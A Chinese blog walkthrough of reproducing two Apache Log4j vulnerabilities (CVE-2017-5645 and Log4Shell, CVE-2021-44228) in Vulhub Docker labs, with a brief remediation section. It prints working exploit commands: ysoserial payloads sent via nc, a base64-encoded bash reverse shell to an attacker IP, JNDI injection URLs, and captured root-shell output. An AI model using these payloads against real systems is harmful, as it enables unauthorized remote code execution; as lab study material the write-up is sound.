首页 > 其他分享 >Vulhub 漏洞学习之:Log4j

Vulhub 漏洞学习之:Log4j

时间:2023-04-22 21:13:50浏览次数:48  
标签:Vulhub JNDI 192.168 漏洞 Apache root Log4j

Vulhub 漏洞学习之:Log4j

目录

1 Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)

Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。

1.1 环境安装

docker-compose up -d
  • 环境启动后,将在4712端口开启一个TCPServer。
  • 或下载了log4j的jar文件后,可以直接在命令行启动这个TCPServer:java -cp "log4j-api-2.8.1.jar:log4j-core-2.8.1.jar:jcommander-1.72.jar" org.apache.logging.log4j.core.net.server.TcpSocketServer,无需使用vulhub和编写代码。

1.2 漏洞利用过程

  1. 我们使用ysoserial生成payload,然后直接发送给Traget-ip:4712端口即可。

    java -jar ysoserial-all.jar CommonsCollections5  "base64_encode_cmd" | nc 192.168.50.4 4712 
    

1.3 GetShell

  1. kali发送Payload至目标靶机

    java -jar ysoserial-all.jar CommonsCollections5  "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUwLjIvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}" | nc 192.168.50.4 4712 
    
  2. kali监听反弹shell:

    ┌──(root㉿kali)-[~/Desktop]
    └─# nc -nvlp 2333
    listening on [any] 2333 ...
    connect to [192.168.50.2] from (UNKNOWN) [192.168.50.4] 48142
    bash: cannot set terminal process group (1): Inappropriate ioctl for device
    bash: no job control in this shell
    root@7e2d33e5cd8f:/# id
    id
    uid=0(root) gid=0(root) groups=0(root)
    root@7e2d33e5cd8f:/# 
    

2 Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。

参考链接:

2.1 环境安装

Apache Log4j2 不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。执行如下命令启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1:

docker-compose up -d
  • 服务启动后,访问http://your-ip:8983即可查看到Apache Solr的后台页面。

2.2 漏洞利用过程

2.2.1 工具准备

  1. 工具需要jdk1.8版本
  2. GitHub - welk1n/JNDI-Injection-Exploit: JNDI注入测试工具(A tool which generates JNDI links can start several servers to exploit JNDI Injection vulnerability,like Jackson,Fastjson,etc)
  3. GitHub - threedr3am/marshalsec

2.2.2 JNDI

jndi的全称为Java Naming and Directory Interface(java命名和目录接口)SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互

  • JNDI注入原理:是将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件,当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行。
  • jndi注入的利用条件:
    • 客户端的lookup()方法的参数可控
    • 服务端在使用Reference时,classFactoryLocation参数可控

2.2.3 漏洞验证

  1. 在注入点中验证:http://192.168.50.4:8983/solr/admin/cores?action=${jndi:ldap://xxx.dnslog.cn/Exploit}
  2. 若成功则会回显

2.3 GetShell

  1. 使用NDI-Injection-Exploit-1.0-SNAPSHOT-all工具开启ldap和rmi监听服务

    $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
    
    eg:
    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUwLjIvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.50.218
    [ADDRESS] >> 192.168.50.218
    [COMMAND] >> bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUwLjIvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}
    ----------------------------JNDI Links----------------------------
    Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
    rmi://192.168.50.218:1099/hsectu
    ldap://192.168.50.218:1389/hsectu
    Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
    rmi://192.168.50.218:1099/enyw6k
    ldap://192.168.50.218:1389/enyw6k
    Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
    rmi://192.168.50.218:1099/wfhfs8
    
  2. 使用上面的url为payload对靶机进行注入:http://192.168.50.4:8983/solr/admin/cores?action=${jndi:rmi://192.168.50.218:1099/hsectu}

  3. kali监听反弹shell:

    ┌──(root㉿kali)-[~/Desktop]
    └─# nc -nvlp 2333
    listening on [any] 2333 ...
    connect to [192.168.50.2] from (UNKNOWN) [192.168.50.4] 34236
    bash: cannot set terminal process group (1): Inappropriate ioctl for device
    bash: no job control in this shell
    root@a4545a4231e4:/opt/solr/server# id
    id
    uid=0(root) gid=0(root) groups=0(root)
    root@a4545a4231e4:/opt/solr/server# 
    

3 漏洞修复

  1. 排查应用是否引入了Apache Log4j2 Jar包,若存在依赖引入,则可能存在漏洞影响。请尽快升级Apache
    Log4j2所有相关应用到最新的log4j2版本。

    GitHub - apache/logging-log4j2: Apache Log4j 2 is a versatile, feature-rich, efficient logging API and backend for Java.

  2. 升级已知受影响的应用及组件,如 spring-boot-starter-log4j2/Apache Struts2/Apache Solr/Apache Druid/Apache Flink

  3. 可升级jdk版本至6u211 / 7u201 / 8u191 / 11.0.1以上,可以在一定程度上限制JNDI等漏洞利用方式。

  4. 官方补丁:升级Apache Log4j所有相关应用到最新的 Log4j-2.15.0官方稳定版本。

    Log4j – Download Apache Log4j™ 2

标签:Vulhub,JNDI,192.168,漏洞,Apache,root,Log4j
From: https://www.cnblogs.com/f-carey/p/17343947.html

相关文章

  • Vulhub 漏洞学习之:ThinkPHP
    Vulhub漏洞学习之:ThinkPHP目录Vulhub漏洞学习之:ThinkPHP0利用工具1ThinkPHP2.x任意代码执行漏洞1.1环境安装1.2漏洞利用过程1.3GetShell2ThinkPHP3.x2.1ThinkPHP3.x日志泄露漏洞2.1.1漏洞原理2.1.2漏洞利用过程3ThinkPHP55.0.20远程代码执行漏洞3.1环境安装3.......
  • 代理工具实战基础,SQL注入漏洞测试
    在Web安全课程中,“插件”是能够增强或丰富原有工具功能的小程序Firebug为Firefox浏览器提供了更加丰富的开发者工具箱(网络审查页面元素)HackBar为Firefox浏览器提供快速构造HTTP请求及多种编码变换的功能(构造数据包)AdvacedCookieManager:编辑Cookie类插件为Firefox浏览器提供快速修......
  • SQL注入漏洞--DVWA
    怎么判断sql注入漏洞呢?后台执行的SQL语句为SELECTfirst_name,last_nameFROMusersWHEREuser_id='$id';($id:用户输入的内容)用户输入的数据为:1'and1=1#这时SQL语句发生变化,在原有查询完成后会判断1=1(这明显是对的),如果判断正确才会有输出[#作用是注释(移除)后续SQL语......
  • ms14_064漏洞复现
    一、环境准备   win7虚拟机x1  kaliLinux虚拟机x1二、实验步骤1.打开kali虚拟机终端命令行输入以下命令启动metasploitmsfconsole2.输入以下命令搜索ms14漏洞,并在其中找到metasploit的漏洞利用模块exploit/windows/browser/ms14_064_ole_code_executionsearchms14......
  • jquery DOM型漏洞
    1、漏洞介绍漏洞编号:CVE-2016-7103、CVE-2015-9251、CVE-2014-6071、CVE-2012-6708、CVE-2011-4969漏洞环境:jquery影响范围:1.x系列版本等于或低于1.12的jQuery2.x系列版本等于或低于2.2的jQuery漏洞原理:$(val)形式的jquery代码,由于某些版本的jquery的解析规则存在漏洞,导......
  • Exp5 信息搜集与漏洞扫描
    Exp5信息搜集与漏洞扫描目录Exp5信息搜集与漏洞扫描1.实验过程记录1.1各种搜索技巧的应用使用GoogleHacking搜索网址目录结构利用搜索引擎的技巧路由侦查1.2DNSIP注册信息的查询whois查询nslookup查询dig域名查询IP2Location地理位置查询IP2反域名查询1.3基本的扫描技术:主机......
  • Exp5 信息搜集与漏洞扫描-20201324
    目录1各种搜索技巧的应用1.1搜索网址目录结构dir_listingbrute_dirs1.2利用搜索引擎的技巧普通检索采用字段设置1.3路由侦查2DNSIP注册信息的查询2.1whois查询2.2nslookup查询2.3dig域名查询2.4IP2Location地理位置查询2.5IP2反域名查询3基本的扫描技术:主机发现、端口......
  • Exp5 信息搜集与漏洞扫描
    目录一.实验信息二.实验内容三.实验知识四.实验过程4.1各种搜索技巧的应用4.1.1搜索网址目录结构4.1.2利用搜索引擎4.1.3路由侦查4.2DNSIP注册信息的查询4.2.1nslookup域名查询4.2.2whois域名查询4.2.3dig查询4.2.3利用IP查看地理位置4.3基本的扫描技术4.3.1主机发现4......
  • 20201226马瑞婕Exp5- 信息搜集与漏洞扫描
    20201226马瑞婕Exp5-信息搜集与漏洞扫描目录1各种搜索技巧的应用1.1搜索某一个网址目录结构1.2通过搜索引擎进行信息搜索1.3路由侦察二、DNSIP注册信息的查询2.1whois命令查询2.2nslookup、dig域名查询2.3IP2Location地理位置查询三、基本的扫描技术:主机发现、端口扫描......
  • 如何检查 Docker 镜像是否存在漏洞
    一.什么是Docker镜像今天我们来聊聊Docker镜像。你可能听过Docker,但是你知道什么是Docker镜像吗?如果你还不知道,别担心,今天我们用幽默的方式来解释一下首先,Docker镜像就像一份披萨的食谱。你可以把它看作是一个包含了所有制作披萨所需的材料和步骤的清单。类似地,Docker镜像包......